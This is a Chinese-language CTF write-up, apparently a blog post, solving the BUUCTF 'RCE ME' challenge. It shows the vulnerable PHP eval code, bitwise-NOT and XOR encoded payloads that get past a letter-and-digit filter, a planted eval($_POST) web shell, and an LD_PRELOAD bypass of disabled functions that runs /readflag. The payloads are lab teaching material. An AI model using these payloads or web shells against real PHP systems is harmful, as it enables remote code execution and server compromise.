源码

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

首先是PHP正则绕过,有长度限制,考虑使用取反绕过
首先试试看看phpinfo

echo urlencode(~'phpinfo');      //%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();

重点看这个禁用函数,禁用了很多函数

下一步试着传木马

$a = 'assert';
echo urlencode(~$a);
echo "<br />";$b ='(eval($_POST[1]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

蚁剑连接一下,显然这里需要execute /readflag to get the flag

但是由于禁用了命令执行的函数,这里要进行绕过
网上有两种方法,一种是使用蚁剑的插件,科学上网才能下载得到
另一种是通过LD_PRELOAD & putenv() 绕过
这里不做详细讲述了,具体可以看看我的个人博客here

上传文件后使用PL

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

【BUUCTF】[极客大挑战 2019]RCE ME相关推荐

  1. BUUCTF [极客大挑战 2019] PHP

    BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...

  2. [极客大挑战 2019]RCE ME 1

    [极客大挑战 2019]RCE ME 1 首先打开题目得到: 发现是代码审计 传入的code不能大于40 并且不能包含a到z的大小写字符和1到10的数字 我们可以通过不在这个字符集里的字符进行绕过 可 ...

  3. BUUCTF——[极客大挑战 2019]Havefun 1

    这道题是19年的极客挑战的题,这道题整体来说,额,很简单,而且这个猫猫感觉好乖哦~!好了,进入环境 进入环境后可以看见这个界面,啧,说实话感觉没啥用,因为什么有用的价值都没有,所以老规矩,看一下它的源 ...

  4. BUUCTF:[极客大挑战 2019]RCE ME

    这题和我这篇文章内容相关:关于PHP正则的一些绕过方法 绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编 ...

  5. [极客大挑战 2019]RCE ME

    知识点 无字母数字RCE 绕过disable_functions WP 首先进入环境审一下代码: <?php error_reporting(0); if(isset($_GET['code'] ...

  6. [BUUCTF][极客大挑战 2019]Http

    思路 浏览网站发现没什么地方可以点的,那就检查元素发现可疑路径 添加Referer头 修改UA 添加XFF头 总结 在CTF中修改http头的操作常有BUUCFT另一题,常用到的值 X-Forward ...

  7. buuctf [极客大挑战 2019]Http1

    目录 知识点补充: 请求行 请求头 请求体 解题过程 知识点补充: 这道题,主要是对于http请求报文的考察.(参考(37条消息) http请求报文详解_石硕页的博客-CSDN博客_http请求报文) ...

  8. BUUCTF:[极客大挑战 2019]Havefun

    1.F12后将源码翻到底,发现GET: 2.传入?cat=dog: 3.获得flag.

  9. BUUCTF [极客大挑战 2019]LoveSQL 1

    #和- - 表示注释,url中的#号是用来指导浏览器动作的,对服务器端无用.所以http请求中不包括#,因此使用#无法表示注入,- -(空格)在传输过程中空格会被忽略,导致无法注释 可以使用–+的方式 ...

最新文章

  1. UA MATH636 信息论8 线性纠错码
  2. 如何删除springboot中的子项目
  3. Android GooglePay 填坑录
  4. 成都优步uber司机第四组奖励政策
  5. Python 中的黑暗角落(二):生成器协程的调度问题
  6. how tomcat works 读书笔记(一)----------一个简单的webserver
  7. Android TabLayout定制CustomView与ViewPager交互双向联动
  8. bcb image 动态大小_论车载音箱系统Limiter(限幅器)Threshold与Image(声像)稳定度的关系...
  9. 网站安全之为Web项目添加验证码功能(二)
  10. OpenStack Queens版本Barbican项目介绍
  11. UEditor的使用方法
  12. QGIS Server安装教程
  13. ​LeetCode刷题实战518:零钱兑换 II
  14. 年终总结系列1:基于IFRS9的预期损失准备金
  15. matlab窄带水平集,窄带水平集方法
  16. MATLAB读取xls文件的内容
  17. 任务栏优化工具TrueLaunchBar_我是亲民_新浪博客
  18. 正则表达式-匹配A和B之间字符串
  19. static静态变量 与 常量
  20. 20201211_127_编码知识_中文乱码问题解决

热门文章

  1. 输入半径求圆的面积周长
  2. HTML网页期末作业:基于Html+Css+javascript的网页制作(化妆品企业官网设计20页)...
  3. 基于Android的酒店预订管理系统设计与实现
  4. stdout和stderr重定向
  5. 生成.tflite文件过程中遇到的问题及解决方案
  6. 资源分享 | 数据分析、可视化、人工智能,模板资源,在这里,你都能得到!
  7. JavaWeb11 —— 用户信息管理系统
  8. java 环境搭建win10
  9. EVA 4400存储硬盘故障导致数据丢失怎么恢复?
  10. 嵌入式Qt开发之环境配置